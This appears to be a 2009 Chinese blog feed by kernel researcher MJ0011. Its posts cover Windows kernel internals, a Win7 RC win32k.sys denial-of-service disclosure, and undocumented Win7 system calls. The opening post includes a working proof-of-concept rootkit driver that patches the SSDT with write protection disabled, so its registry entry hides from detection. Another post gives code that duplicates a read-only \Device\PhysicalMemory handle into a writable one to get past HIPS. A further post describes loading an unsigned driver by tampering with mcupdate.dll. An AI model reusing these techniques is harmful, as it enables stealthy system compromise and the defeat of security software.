<p>有了上面的知识，我们很容易便可知道如何隐藏一个注册表了：</p>
<p>只要我们将当前SYSTEM储巢删除或者使其无法正确识别，然后在config目录下保留包含了我们的驱动服务项的SYSTEM.ALT储巢，此时重启系统，NTLDR会使用我们的SYETEM.ALT储巢，于是会加载我们的驱动程序</p>
<p>我们在驱动中，HOOK NtInitializeRegistry函数，等待NT内核再次初始化系统储巢，等到后，我们将SYSTEM储巢恢复（move file / fix file /redir file...)，此时系统就能正常引导了</p>
<p>但是此时系统加载的是不包含我们的驱动服务项的储巢，所以任何利用正常、非正常枚举手法进行的检测，都检测不到我们的驱动注册表。无论是还原nt*key函数进行枚举，还是使用cm*key进行枚举，还是使用所谓的Hive解析技术进行枚举。</p>
<p>下面是一个这个驱动的小POC，代码如下：</p>
<p>#include &quot;ntddk.h&quot;<br>
#include &quot;ntifs_48.h&quot;<br>
#include &quot;zwfunc.h&quot;<br>
#include &quot;stdafx.h&quot;</p>
<p>#define MYDEBUG 1</p>
<p>#if MYDEBUG</p>
<p>#define KDMSG(_x_) DbgPrint _x_</p>
<p>#else</p>
<p>#define KDMSG(_x_)</p>
<p>#endif<br>
ULONG OldNtInitializeRegistry =0;<br>
BOOL SystemHiveIsBuild = FALSE ; <br>
const WCHAR RealSystemHiveLocation[] = L&quot;<a href="file://systemroot//System32//Config//SYSTEM">\\SystemRoot\\System32\\Config\\SYSTEM</a>&quot;;</p>
<p><br>
NTSTATUS NewNtInitializeRegistry(USHORT BootCondition)<br>
{<br>
NTSTATUS stat ; <br>
HANDLE hfile ; <br>
IO_STATUS_BLOCK iosb ;<br>
OBJECT_ATTRIBUTES oba ; <br>
UNICODE_STRING FileName ; <br>
UNICODE_STRING SystemSave ;</p>
<p>KDMSG((&quot;NtInitializeRegistry is call!&quot;));</p>
<p>if (SystemHiveIsBuild == FALSE)<br>
{<br>
&nbsp;&nbsp;  RtlInitUnicodeString(&amp;FileName , RealSystemHiveLocation);<br>
&nbsp;&nbsp;</p>
<p>&nbsp;&nbsp;  InitializeObjectAttributes(&amp;oba , &amp;FileName , OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , 0 , 0 );</p>
<p><br>
&nbsp;&nbsp;  stat = IoCreateFile(&amp;hfile , <br>
&nbsp;&nbsp;&nbsp;  FILE_ALL_ACCESS ,<br>
&nbsp;&nbsp;&nbsp;  &amp;oba ,<br>
&nbsp;&nbsp;&nbsp;  &amp;iosb,<br>
&nbsp;&nbsp;&nbsp;  NULL,<br>
&nbsp;&nbsp;&nbsp;  FILE_ATTRIBUTE_NORMAL , <br>
&nbsp;&nbsp;&nbsp;  FILE_SHARE_READ | FILE_SHARE_WRITE , <br>
&nbsp;&nbsp;&nbsp;  FILE_OPEN , <br>
&nbsp;&nbsp;&nbsp;  FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT ,<br>
&nbsp;&nbsp;&nbsp;  NULL,<br>
&nbsp;&nbsp;&nbsp;  0,<br>
&nbsp;&nbsp;&nbsp;  CreateFileTypeNone , <br>
&nbsp;&nbsp;&nbsp;  0,<br>
&nbsp;&nbsp;&nbsp;  IO_NO_PARAMETER_CHECKING);</p>
<p>&nbsp;&nbsp;  KDMSG((&quot;open config\\system return %08x\n&quot;,stat));</p>
<p>&nbsp;&nbsp;  if (!NT_SUCCESS(stat))<br>
&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;  if (stat != STATUS_OBJECT_NAME_NOT_FOUND &amp;&amp; stat != STATUS_OBJECT_PATH_NOT_FOUND)<br>
&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;  goto end ; <br>
&nbsp;&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;  else<br>
&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;  ZwClose(hfile);<br>
&nbsp;&nbsp;&nbsp;  goto end ;<br>
&nbsp;&nbsp;  }</p>
<p>&nbsp;&nbsp;  //now system hive is not found</p>
<p>&nbsp;&nbsp; //move file<br>
&nbsp;&nbsp; { <br>
&nbsp;&nbsp;&nbsp; PFILE_RENAME_INFORMATION renameinfo ;</p>
<p>&nbsp;&nbsp;&nbsp; renameinfo = (PFILE_RENAME_INFORMATION)ExAllocatePool(NonPagedPool , sizeof(FILE_RENAME_INFORMATION) + sizeof(RealSystemHiveLocation) - sizeof(WCHAR));</p>
<p>&nbsp;&nbsp;&nbsp; renameinfo-&gt;FileNameLength = sizeof(RealSystemHiveLocation) - sizeof(WCHAR);<br>
&nbsp;&nbsp;&nbsp; renameinfo-&gt;ReplaceIfExists = TRUE ; <br>
&nbsp;&nbsp;&nbsp; renameinfo-&gt;RootDirectory = 0 ; <br>
&nbsp;&nbsp;&nbsp; RtlCopyMemory((PVOID)renameinfo-&gt;FileName, (PVOID)RealSystemHiveLocation , sizeof(RealSystemHiveLocation));</p>
<p>&nbsp;&nbsp;&nbsp; RtlInitUnicodeString(&amp;FileName , L&quot;<a href="file://systemroot//System32//SYSTEM">\\SystemRoot\\System32\\SYSTEM</a>&quot;);<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; InitializeObjectAttributes(&amp;oba , &amp;FileName , OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , 0 , 0 );<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; stat = IoCreateFile(&amp;hfile , <br>
&nbsp;&nbsp;&nbsp;&nbsp; FILE_ALL_ACCESS ,<br>
&nbsp;&nbsp;&nbsp;&nbsp; &amp;oba ,<br>
&nbsp;&nbsp;&nbsp;&nbsp; &amp;iosb,<br>
&nbsp;&nbsp;&nbsp;&nbsp; NULL,<br>
&nbsp;&nbsp;&nbsp;&nbsp; FILE_ATTRIBUTE_NORMAL , <br>
&nbsp;&nbsp;&nbsp;&nbsp; FILE_SHARE_READ | FILE_SHARE_WRITE , <br>
&nbsp;&nbsp;&nbsp;&nbsp; FILE_OPEN, <br>
&nbsp;&nbsp;&nbsp;&nbsp; FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT ,<br>
&nbsp;&nbsp;&nbsp;&nbsp; NULL,<br>
&nbsp;&nbsp;&nbsp;&nbsp; 0,<br>
&nbsp;&nbsp;&nbsp;&nbsp; CreateFileTypeNone , <br>
&nbsp;&nbsp;&nbsp;&nbsp; 0,<br>
&nbsp;&nbsp;&nbsp;&nbsp; IO_NO_PARAMETER_CHECKING);</p>
<p>&nbsp;&nbsp;&nbsp; KDMSG((&quot;open system\\system return %08x\n&quot; , stat));</p>
<p>&nbsp;&nbsp;&nbsp; if (!NT_SUCCESS(stat))<br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp; ExFreePool(renameinfo);<br>
&nbsp;&nbsp;&nbsp;&nbsp; goto end ;  <br>
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; stat = ZwSetInformationFile(hfile , <br>
&nbsp;&nbsp;&nbsp;&nbsp; &amp;iosb , <br>
&nbsp;&nbsp;&nbsp;&nbsp; renameinfo ,<br>
&nbsp;&nbsp;&nbsp;&nbsp;  sizeof(FILE_RENAME_INFORMATION) + sizeof(RealSystemHiveLocation) - sizeof(WCHAR) ,<br>
&nbsp;&nbsp;&nbsp;&nbsp;  FileRenameInformation);</p>
<p>&nbsp;&nbsp;&nbsp; KDMSG((&quot;rename file return %08x\n&quot; , stat));</p>
<p>&nbsp;&nbsp;&nbsp; ZwClose(hfile);<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; SystemHiveIsBuild = TRUE ; <br>
&nbsp;&nbsp; }</p>
<p>}</p>
<p>end:<br>
__asm<br>
{<br>
&nbsp;&nbsp;  movzx eax , BootCondition<br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  call OldNtInitializeRegistry<br>
&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  stat ,eax<br>
}</p>
<p>return stat ; <br>
}<br>
NTSTATUS DriverEntry(PDRIVER_OBJECT Drvobj , PUNICODE_STRING RegistryPath)<br>
{<br>
ULONG OldCr0 ;<br>
//drv load, hook NtInitializeRegistry</p>
<p>//IN WINDOWS XP , index of ZwInitializeRegistry is 0x5c</p>
<p>__asm{<br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  push ebx<br>
&nbsp;&nbsp;  cli<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;  mov eax , cr0<br>
&nbsp;&nbsp;<br>
&nbsp;&nbsp;  mov OldCr0 , eax<br>
&nbsp;&nbsp;<br>
&nbsp;&nbsp;  and eax , 0xFFFEFFFF<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;  mov cr0 , eax</p>
<p>&nbsp;&nbsp;  mov eax ,dword ptr[KeServiceDescriptorTable]<br>
&nbsp;&nbsp;<br>
&nbsp;&nbsp;  mov eax , dword ptr[eax]<br>
&nbsp;&nbsp;  //get service base</p>
<p>&nbsp;&nbsp;  mov ebx , dword ptr[eax + 0x5c * 4]</p>
<p>&nbsp;&nbsp;  mov OldNtInitializeRegistry , ebx</p>
<p>&nbsp;&nbsp;  mov ebx , NewNtInitializeRegistry</p>
<p>&nbsp;&nbsp;  mov dword ptr[eax + 0x5c * 4] , ebx</p>
<p>&nbsp;&nbsp;  mov eax , OldCr0</p>
<p>&nbsp;&nbsp;  mov cr0 , eax</p>
<p>&nbsp;&nbsp;  sti</p>
<p>&nbsp;&nbsp;  pop ebx<br>
&nbsp;&nbsp;<br>
&nbsp;&nbsp;  pop eax</p>
<p>}</p>
<p>return STATUS_SUCCESS ; <br>
}<br>
另外，如前面所说，这个技术是无法用于WINDOWS VISTA / 7的，VISTA的WINLOAD.EXE中已经去掉了这种机制</p>
<p><br>
当然，这只是一个技巧，但是反映了一些思想：</p>
<p>1.所谓绕过检查，就是要让系统在某一时刻认为你是存在的，而某一时刻认为你是不存在的，利用信息的不对称来使检查失效</p>
<p>2.NTLDR和NTOSKRNL之间，也算是一种信息不对称，例如TOPHET,例如本篇这个技巧，都是利用NTLDR中缺少某种机制，而NTOSKRNL中存在这种机制，由于NTLDR缺少这种机制（例如TOPHET中，访问SCSI驱动器的机制），那么自然给了攻击者可趁之机</p>
<p>当然，微软在VISTA中大大弥补了这些不对称，但是可想而知，还是有更多的未知等着大家去探索。</p>
<p> </p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/168504cea69d3631b600c8a3.html#comment">查看评论</a>]]></description>
        <pubDate>2009-06-02  00:26</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/168504cea69d3631b600c8a3.html</guid>
</item>

<item>
        <title><![CDATA[DbgkLkmdRegisterCallback in win7]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/4f3d8922ef40b0fbd7cae2a3.html]]></link>
        <description><![CDATA[
		
		<p>DbgkLkmdRegisterCallback这是一个WINDOWS 7新增的无文档内核函数</p>
<p>用于创建一个Live kernel memory dump的回调</p>
<p>函数原型为：NTSTATUS DbgkLkmdRegisterCallback(PLKMD_CALLBACK CallBack , PVOID Context , ULONG CallbackType);</p>
<p>CallBackType有两个可能值:</p>
<p>#define SNAP_THREAD 1</p>
<p>#define SNAP_PROCESS 2</p>
<p>相关函数:</p>
<p>NTSTATUS DbgkLkmdUnregisterCallback(PLKMD_CALLBACK CallBack);</p>
<p>反注册callback</p>
<p>NTSTATUS DbgkpLkmdFireCallbacks(PLKMD_INFORMATION LkmdInfomation , ULONG CallbackType, PVOID ProcessOrThreadObject);</p>
<p>调用callbacks(未导出）</p>
<p>回调函数形如:</p>
<p>NTSTATUS DbgLkmdCallback(PVOID DbgkpLkmdSnapDataRoutine , PVOID DbgkpLkmdIsMemoryBlockPresentFromCallbackRoutine , PLKMD_INFORMATION LkmdInformation , PVOID Context);</p>
<p>若CALLBACK返回值&lt;0,则调用DbgkpTriageDumpRestoreState,</p>
<p> </p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/4f3d8922ef40b0fbd7cae2a3.html#comment">查看评论</a>]]></description>
        <pubDate>2009-05-17  15:44</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/4f3d8922ef40b0fbd7cae2a3.html</guid>
</item>

<item>
        <title><![CDATA[突破HIPS的防御思路之duplicate physical memory]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/1c92ed03bea96d80d53f7c00.html]]></link>
        <description><![CDATA[
		
		<p>众所周知，WINDOWS 2000/XP/2003 SP0系统上，提供了一个\Device\PhysicalMemory的Section对象，可以直接操作物理内存对象。直接操作此对象映射的物理内存，可以操作RING0内存，达到无驱进入RING0的目的。</p>
<p>这已是很多年前就被用烂了的技术了，大部分驱动防火墙、绝大部分HIPS软件、AntiVirus软件等都对此进行了防御。不过，老树也能开新花，我们来看看这个东东的新利用方法:</p>
<p>1).CreateSymbolicLink,这也是很古老的方法，很多安全软件也已经防御。因为一些安全软件只防御了NtOpenSection,并根据打开的对象名是否是\Device\PhysicalMemory来进行拦截，但是只要对\Device\PhysicalMemory创建符号链接，那么一样可以使用NtOpenSection打开</p>
<p> </p>
<p>2).Duplicate法，大部分目前的安全软件，都是拦截\Device\PhysicalMemory并判断DesiredAccess是否包含SECTION_MAP_WRITE（除了一些极端无聊的没人用的HIPS外，这种的完全可以无视）, 因为一些正常的软件，也需要打开\Device\PhysicalMemory进行物理内存读入（例如微软Wga~)。</p>
<p>但这就让攻击者有空可钻，攻击者可以先以SECTION_MAP_READ打开物理内存对象，再以SECTION_MAP_WRITE方式duplicate handle，这样就可以获取对物理内存的写权限，进行物理内存写入了。大部分安全软件都没有防御这种方式（例如瑞*),这样，攻击者又重新获得了对于系统至高无上的权利~</p>
<p>示例代码：</p>
<p>UNICODE_STRING uniname ;<br>
OBJECT_ATTRIBUTES oba ;</p>
<p>HMODULE hlib = LoadLibrary(&quot;ntdll.dll&quot;);<br>
PVOID p = GetProcAddress(hlib , &quot;ZwOpenSection&quot;);<br>
uniname.Buffer = (PWSTR)phyname;<br>
uniname.Length = sizeof(phyname) - sizeof(WCHAR);<br>
uniname.MaximumLength = sizeof(uniname);<br>
HANDLE handle ; <br>
LONG stat ;<br>
InitializeObjectAttributes(&amp;oba , &amp;uniname , 0x40 , 0 , 0 );<br>
__asm{<br>
&nbsp;&nbsp;  lea eax , oba<br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  push 4<br>
&nbsp;&nbsp;  lea&nbsp;&nbsp;  eax , handle<br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  call p<br>
&nbsp;&nbsp;  mov stat , eax<br>
}<br>
printf(&quot;stat 1 %08x\n&quot; , stat);<br>
HANDLE xhandle ; <br>
BOOL bret = DuplicateHandle(GetCurrentProcess() , handle,GetCurrentProcess() , &amp;xhandle , SECTION_MAP_WRITE | SECTION_MAP_READ , FALSE , DUPLICATE_CLOSE_SOURCE);</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/1c92ed03bea96d80d53f7c00.html#comment">查看评论</a>]]></description>
        <pubDate>2009-05-17  13:22</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/1c92ed03bea96d80d53f7c00.html</guid>
</item>

<item>
        <title><![CDATA[[0Day]WINDOWS 7 RC 7100 GDI驱动Win32k.sys内核D.O.S漏洞]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/165261cf13f62d35f8dc61cd.html]]></link>
        <description><![CDATA[
		
		<p>作者：MJ0011 2009.05.13</p>
<p>感谢：Iceboy发现此问题并提供DUMP</p>
<p>漏洞厂商及产品：Microsoft Windows 7 rc 7100 090421</p>
<p>存在漏洞组件：win32k.sys Timestamp :49ee8dc8</p>
<p>存在漏洞函数:NtUserGetDc/NtUserGetDcEx</p>
<p>漏洞描述：Win32k.sys是WINDOWS的GDI驱动程序，包含大量复杂的图形界面处理，由于其中大量代码是从WIN3.1中修改过来，因此成了WINDOWS漏洞多发之地。</p>
<p>这个漏洞主要是因为Windows 7 在其NtUserGetDc/NtUserGetDcEx函数中（也许不仅仅是这两个函数）不正确地使用了共享临界锁，导致了任何权限下的GDI程序可以引发内核BSOD，从而进行DOS攻击</p>
<p>漏洞分析：</p>
<p>在WINDOWS VISTA中，在这两个函数进入前，会调用UserEnterUserCirtSec，进入临界区，同时会将gptiCurrent设置为当前线程的WIN32THREAD</p>
<p>UserEnterUserCritSec的实现如下：</p>
<p>PWIN32THREAD UserEnterUserCritSec()<br>
{</p>
<p>PWIN32THREAD pwin32Thread;</p>
<p>pwin32Thread = ExEnterPriorityRegionAndAcquireResourceExclusive(gpresUser);<br>
gptiCurrent = pwin32Thread;<br>
gbValidateHandleForIL = 1;<br>
return pwin32Thread;<br>
}</p>
<p>ExEnterPriorityRegionAndAcquireResourceShared是NTOSKRNL 导出一个提供给WIN32K使用的共享资源锁函数，这个函数将共享锁住gpresUser这个资源，同时返回当前线程的Win32Thread,即KeGetCurrentThread-&gt;Win32Thread</p>
<p>同时内核函数ExEnterPriorityRegionAndAcquireResourceExclusive也与其类似。</p>
<p><br>
（XP则是调用KeEnterCriticalRegion后，用ExAcquireResourceExclusiveLite锁住gpresUser,然后用PsGetCurrentThread-&gt;PsGetThreadWin32Thread获得当前线程win32kthread,存放到gptiCurrent)</p>
<p>而在windows 7 中，这两个函数进入前，改为了调用UserEnterSharedCrit，进入共享临界区</p>
<p>UserEntrySharedCirt的实现很简单</p>
<p>PWIN32THREAD EnterSharedCrit()<br>
{<br>
return ExEnterPriorityRegionAndAcquireResourceShared(gpresUser);<br>
}</p>
<p>可以注意到，这里并不设置gptiCurrent，事实上，NtUserGetDc/NtUserGetDcEx会将这个函数保存在寄存器中以便使用CurrentWin32Thread中存放的数据</p>
<p>从关键临界转为共享临界，无疑这样的修改将提升NtUserGetDc/NtUserGetDcEx的效率，减少了锁竞争的可能，但是在这里这样修改是错误的.</p>
<p>因为在共享临界中，没有修改gptiCurrent，那么就很可能遇到gptiCurrent非法的状态,比如遇到一个没有做PsConvertToGuiThread的线程导致了gptiCurrent为空.</p>
<p>WIN32K中有大量内部例程（经常以zzz,xxx开头），他们都认为在调用自己之前，gptiCurrent是一个有效的状态。这其中就包括了xxxDestoryWindow</p>
<p>一个BSOD的例子是：NtUserGetDc-&gt;GetWindowDc-&gt;GetDcEx-&gt;SpbCheckDce-&gt;SpbCheckRect-&gt;SpbCheckRect2-&gt;FreeSpb</p>
<p>调用到FreeSpb时，这里要释放一个spb对象了</p>
<p>接着就到</p>
<p>FreeSpb-&gt;HMAssigmentUnlock-&gt;HMUnlockObject-&gt;HMUnlockObjectInternal-&gt;HMDestroyUnlockedObject，最终调用到了ganti表中的函数，由于这里是GetWindowDc,所以将调用xxxDestroyWindow，xxxDestroyWindow第一句代码就无检查引用了gptiCurrent指针中的数据，自然直接导致BSOD</p>
<p>解决方案:</p>
<p>等待微软更新官方补丁.</p>
<p>微软可能的更新手段：</p>
<p>牺牲效率将NtUserGetDc等中的不正确共享锁替换为关键临界锁，或者将所有NtUserGetDc等函数可能用到的内部函数中的gptiCurrent引用去掉或换为不引用gptiCurrent的其他函数</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/165261cf13f62d35f8dc61cd.html#comment">查看评论</a>]]></description>
        <pubDate>2009-05-13  18:47</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/165261cf13f62d35f8dc61cd.html</guid>
</item>

<item>
        <title><![CDATA[WIN7 RC 系统服务函数变更]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/7880df1b63d857f2ae513323.html]]></link>
        <description><![CDATA[
		
		<p>以下涵盖了今天大约用了2个小时分析的 Windows 7 RC内核NT*函数的变动，全部来自对WIN7 RC的内核的反汇编，没有太深入分析，包含了一些我觉得有一些意思或者影响的变动、增加的功能和函数等</p>
<p>这里的变动和新增，指的是相对于WRK,即WIN2003 内核的变动，因此有些很多变动在VISTA中就已经有了</p>
<p> </p>
<p>(1).NtCreateFile / NtOpenFile: <br>
以下函数将改走IopCreateFile,而不是象此前的操作系统是从IoCreateFile-&gt;IopCreateFile<br>
因此希望像从前一样hook IoCreateFile就掌控对文件打开、创建是不再可行了<br>
同时IopCreateFile亦有CALLBACK机制了~很猥琐</p>
<p>但管道和邮槽的创建仍是走IoCreateFile</p>
<p><br>
(2).Nt*Key</p>
<p>Nt*Key(除了Create/Open等）对于KeyHandle的引用改为了CmObReferenceObjectByHandle，并对KeyObject做一些校验</p>
<p>这样可能导致一些爆搜方式的XX实效了~</p>
<p>(3).NtFreezeRegistry/NtThawRegistry<br>
冻结和解冻注册表操作，这个在VISTA就有了可以做一些猥琐的XX</p>
<p>(4).NtMakePermanentObject<br>
创建永久对象的好东东， 也是VISTA支持</p>
<p>(5).NtNotifyChangeSession<br>
很有用的东东</p>
<p>(6).NtQueryInformationProcess/NtSetInformationProcess:</p>
<p>新增InformationClass:</p>
<p> </p>
<p>ProcessTotalCycleTime : 38<br>
ProcessDefaultPagePriority 39<br>
40号ID未使用<br>
41号ID看了半天不知道是干啥的...<br>
ProcessWorkingSetWatch 42<br>
ProcessImageFileDosDeviceName :43<br>
取进程全路径DOS名,这个东东很厚道~<br>
ProcessIsSameFileProcess 44<br>
检查指定的FileHandle是否和指定进程是同一个文件，这个东西也不错<br>
ProcesssAffinityUpdateModeEnable 45<br>
ProcessVmTopDown 46<br>
ProcessActiveGroupsMask 47<br>
ProcessVirtualizationToken 48(只能SET)</p>
<p>//虚拟化的TOKEN~</p>
<p>ProcessConsoleHostProcess 49<br>
ProcessCopyProcessHeap 50<br>
很强大~<br>
(7).NtQueryInformationThread</p>
<p>新增InformationClass:</p>
<p>ThreadLastCall 21</p>
<p>ThreadThreadIoPriority 22<br>
//传说中的IO优先级~</p>
<p>ThreadTotalCycleTime 23</p>
<p>ThreadPagePriority 24</p>
<p>ThreadFullTeb 26<br>
//获得整个TEB</p>
<p>ThreadAffinty 30</p>
<p>ThreadProfing 32</p>
<p>ThreadIdealProcessor 33</p>
<p><br>
(8).NtQueryInformationToken:</p>
<p>新增InformationClass</p>
<p>TokenLogonSessionFlags 18<br>
TokenGetLogonSessionToken 19<br>
TokenXxxTokenSid 20(不知道是啥）<br>
TokenXxxTokenFlags 21 (tokenflags &amp; 0x810,不知道是啥）<br>
TokenAccess 22<br>
TokenTokenFlagsPos9 23<br>
TokenTokenFlagsPos10 24<br>
TokenGetTokenIntergrity 25</p>
<p>//ADMIN完整性。。</p>
<p>TokenTokenFlagsPos12 26</p>
<p>TokenMandatoryPolicy 27</p>
<p>(9).NtQuerySystemInformation/NtQuerySystemInformationEx/NtSetSystemInformation</p>
<p>SystemBasePriorityInformation 82 (need increasebasepriority privilege)<br>
SystemRefTraceInformation 86<br>
SystemSpecialPoolInformation 87<br>
SystemProcessesWithFullImageNameInformation 88</p>
<p> 这个太强大了。。。</p>
<p>SystemRegisterErrorPort(only set , need tcb privilege)</p>
<p>SystemBootEnvironmentInformation 90</p>
<p>获取BootIdentifier GUID(_LOADER_PARAMETER_BLOCK-&gt;LOADER_PARAMETER_EXTENSION-&gt;BootIdentifier(GUID))<br>
从此轻松定位BCD~</p>
<p><br>
SystemEnlightenmentInformation 91<br>
SystemVerifierInformtionEx 92<br>
SystemCovInformation 95<br>
SystemPartitionDeviceNameInformation 98<br>
SystemDiskDeviceNameInformation 99 <br>
SystemPerformanceDistributionInforamtion 100<br>
SystemNumaProximityNodeInformation 101<br>
SystemTimeZoneInformation 102<br>
SystemCodeIntegrityInformation 103 <br>
SystemProcessorMircoCodeUpdateInformation 104(only set)<br>
SystemtProcessorBrandStringInformation 105<br>
SystemSystemVaInformation 106<br>
SystemLogicalProcessorRelationshipInformation 107<br>
SystemStoreInformation 109<br>
SystemRegistryAppendStringInformation 110 (only set)<br>
SystemAitSamplingInformation 111(only set)<br>
SystemVhdBootInformation 112<br>
SystemCpuQuotaInformation 113<br>
SystemLowPriorityIoInformation 116<br>
SystemTpmBootEntropyInformation 117(only in kernel mode)<br>
SystemVerifierInformation 118<br>
SystemAdjustPagedPoolWorkingSetSizeInformation 119(only set)<br>
SystemAdjustSystemPtesWorkingSetSizeInformation 120(only set)<br>
SystemNumaNodesInformation 121<br>
SystempAuditQueryResultsInformation 122<br>
SystemCommitInformation 123(total commit pages / Total Commit limt / Peak Commitment)</p>
<p>(10).NtQueueApcThreadEx<br>
强大~</p>
<p>目前NtQueueApcThread直接调用NtQueueApcThreadEx实现</p>
<p>穿越HIPS~</p>
<p>(11).NtSystemDebugControl</p>
<p>参考:http://hi.baidu.com/mj0011/blog/item/b3ee910a05811636b1351db5.html</p>
<p> </p>
<p> </p>
<p><br>
 </p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/7880df1b63d857f2ae513323.html#comment">查看评论</a>]]></description>
        <pubDate>2009-05-10  19:14</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/7880df1b63d857f2ae513323.html</guid>
</item>

<item>
        <title><![CDATA[NtSystemDebugControl in win7 RC]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/b3ee910a05811636b1351db5.html]]></link>
        <description><![CDATA[
		
		<p>NtSystemDebugControl函数在WIN7 RC下支持以下功能:</p>
<p>（如果KdPitchDebugger为TRUE，即在bcd中指定了nodebug,则只支持29号功能)</p>
<p>需要校验DEBUG权限</p>
<p>其中29号功能也是比较有意思的，可以产生一个系统即时的MINIDUMP</p>
<p>6:if KdDebugEnable , return STATUS_UNSUCESSFUL else DbgBreakWithStatus(6)<br>
22: KdDisableDebugger<br>
21:KdEnableDebugger<br>
23:get status of KdAutoEnableOnEvent(input len = 1)<br>
24:set KdAutoEnableOnEvent (input len =1)<br>
25:get KdPrintBufferSize (input len =4)<br>
26:set KdPrintBufferSize(input len =4)<br>
27:get KdIgnoreUmExceptions(input len =1)<br>
28:set KdIgnoreUmExceptions(input len =1)<br>
29:DbgkCaptureLiveDump<br>
30:get KdBlockEnable<br>
31:set KdBlockEnable<br>
32:set KdUmBreakMarker , 0xDB1DBBBB<br>
33.get KdUmBreakPid<br>
34:set KdUmBreakPid<br>
35:get KdUmAttachPid<br>
36:set KdUmAttachPid</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/b3ee910a05811636b1351db5.html#comment">查看评论</a>]]></description>
        <pubDate>2009-05-10  16:22</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/b3ee910a05811636b1351db5.html</guid>
</item>

<item>
        <title><![CDATA[Vista和WIN7下利用MircoCodeUpdate加载驱动]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/5d6d4bafc61ce2f3fbed50ef.html]]></link>
        <description><![CDATA[
		
		<p>这个小DEMO花了我两个周末的时间~主要是修改mcupdate.dll太麻烦了，还是参考了diyhack 的方法，并且对remotethread做了一些猥琐的改造，才搞定了</p>
<p>在这里感谢DIYHACK提供的线索~</p>
<p>原先说WIN7上用microcode加载驱动，但是xHalMicroCode没实现，其实不是没实现，而是在halinitsystem时填充(ntoskrnl 做SystemStartup时调用），其实就是hal私有dispatch表，当时居然没注意。。。</p>
<p>另外VISTA也支持MICROCODE加载驱动，这个就不多说了</p>
<p>DEMO的主要原理是通过cpuid指令确定CPU类型，BUILD MCU UPDATE DLL的路径，然后启动TrustedInstall服务，注入之，覆盖mcupdte dll,然后unload muc update的image ,再reload</p>
<p>这样我们的驱动可以得到一次内核的执行机会</p>
<p>其他细节：</p>
<p>(1).vista/win7的系统文件防护太强大了。第一周我直接磁盘感染（因此有了前面某篇BLOG)，失败，提权失败，然后改注入TrustedInstall服务，发现createremotethread居然也有猫腻~太猥琐了。因此DEMO理对createremotethread做了比较不通用的手脚，测试程序我只在VISTA SP0/SP1上跑过，WIN7上不知道会不会有问题，不过应该可行</p>
<p>(2).感染完mucupdate.dll加载完，一定要记得在驱动里或者注入trustedinstall再改回来，因为重启时是由ntldr加载mcuupdate，会检查微软的签名，签名不过系统就启动不了~其实本来这个可以做bootkit,因为mcuupdate是boot load,然后halinitsystem会在很早的地方调用它，不过没有签名，所以不行了~</p>
